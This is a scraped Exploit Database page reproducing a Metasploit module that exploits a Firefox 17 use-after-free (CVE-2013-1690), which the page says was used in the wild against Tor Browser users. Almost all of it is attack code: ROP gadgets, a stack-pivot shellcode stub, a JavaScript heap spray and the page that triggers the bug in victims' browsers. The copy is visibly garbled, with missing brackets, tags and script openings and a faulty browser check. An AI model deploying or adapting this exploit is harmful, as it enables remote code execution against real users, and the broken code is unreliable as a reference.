Mozilla Firefox – onreadystatechange Event DocumentViewerImpl Use-After-Free (Metasploit)

Exploit Database
101 阅读

作者： Metasploit

日期： 2013-08-08
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/27429/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::RopDb

def initialize(info = {})

super(update_info(info,

'Name' => 'Firefox onreadystatechange Event DocumentViewerImpl Use After Free',

'Description'=> %q{

This module exploits a vulnerability found on Firefox 17.0.6, specifically an use

after free of a DocumentViewerImpl object, triggered via an specially crafted web

page using onreadystatechange events and the window.stop() API, as exploited in the

wild on 2013 August to target Tor Browser users.

'License'=> MSF_LICENSE,

'Author' =>

[

'Nils',# vulnerability discovery

'Unknown', # 1day exploit, prolly the FBI

'w3bd3vil',# 1day analysis

'sinn3r',# Metasploit module

'juan vazquez' # Metasploit module

'References' =>

[

[ 'CVE', '2013-1690' ],

[ 'OSVDB', '94584'],

[ 'BID', '60778'],

[ 'URL', 'https://www.mozilla.org/security/announce/2013/mfsa2013-53.html' ],

[ 'URL', 'https://lists.torproject.org/pipermail/tor-announce/2013-August/000089.html' ],

[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=901365' ],

[ 'URL', 'http://krash.in/ffn0day.txt' ],

[ 'URL', 'http://hg.mozilla.org/releases/mozilla-esr17/rev/2d5a85d7d3ae' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'InitialAutoRunScript' => 'migrate -f'

'Payload'=>

{

'BadChars' => "\x00",

'DisableNops'=> true

'Platform' => 'win',

'Targets'=>

[

[ 'Firefox 17 & Firefox 21 / Windows XP SP3',

{

'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory

'RetGadget'=> 0x77c3ee16, # ret from msvcrt

'StackPivot' => 0x76C9B4C2, # xcht ecx,esp # or byte ptr[eax], al # add byte ptr [edi+5Eh], bl # ret 8 from IMAGEHLP

'VFuncPtr' => 0x0c10100c# Fake Function Pointer to the Sprayed Memory

}

]

'DisclosureDate' => 'Jun 25 2013',

'DefaultTarget'=> 0))

end

def stack_pivot

pivot = "\x64\xa1\x18\x00\x00\x00"# mov eax, fs:[0x18 # get teb

pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit

pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit

pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset

return pivot

end

def junk(n=4)

return rand_text_alpha(n).unpack("V").first

end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']

vprint_status("Agent: #{agent}")

if agent !~ /Windows NT 5\.1/

print_error("Windows XP not found, sending 404: #{agent}")

send_not_found(cli)

return

end

if agent !~ /Firefox\/17/ or agent !~ /Firefox\/21/

print_error("Browser not supported, sending 404: #{agent}")

send_not_found(cli)

return

end

my_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource

# build html

code = [

target['VFuncPtr'],

target['RetGadget'],

target['StackPivot'],

junk

].pack("V*")

code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})

js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))

js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))

content = <<-HTML

<html>

<body>

</body></html>

HTML

# build iframe

iframe = <<-IFRAME

var z="<body><img src='https://www.exploit-db.com/exploits/27429/nonexistant.html' onerror=\\"\\" ></body>";

var test = new Array();

var heap_chunks;

function heapSpray(shellcode, fillsled) {

var chunk_size, headersize, fillsled_len, code;

var i, codewithnum;

chunk_size = 0x40000;

headersize = 0x10;

fillsled_len = chunk_size - (headersize + shellcode.length);

while (fillsled.length <fillsled_len)

fillsled += fillsled;

fillsled = fillsled.substring(0, fillsled_len);

code = shellcode + fillsled;

heap_chunks = new Array();

for (i = 0; i<1000; i++)

{

codewithnum = "HERE" + code;

heap_chunks[i] = codewithnum.substring(0, codewithnum.length);

}

function b() {

for(var c=0;1024>c;c++) {

test[c]=new ArrayBuffer(180);

bufView = new Uint32Array(test[c]);

for (var i=0; i < 45; i++) {

bufView[i] = #{target['FakeObject']};

}

function a() {

window.stop();

var myshellcode = unescape("#{js_code}");

var myfillsled = unescape("#{js_random}");

heapSpray(myshellcode,myfillsled);

b();

window.parent.frames[0].frameElement.ownerDocument.write(z);

}

document.addEventListener("readystatechange",a,null);

</script>

IFRAME

print_status("URI #{request.uri} requested...")

if request.uri =~ /iframe\.html/

print_status("Sending iframe HTML")

send_response(cli, iframe, {'Content-Type'=>'text/html'})

return

end

print_status("Sending HTML")

send_response(cli, content, {'Content-Type'=>'text/html'})

end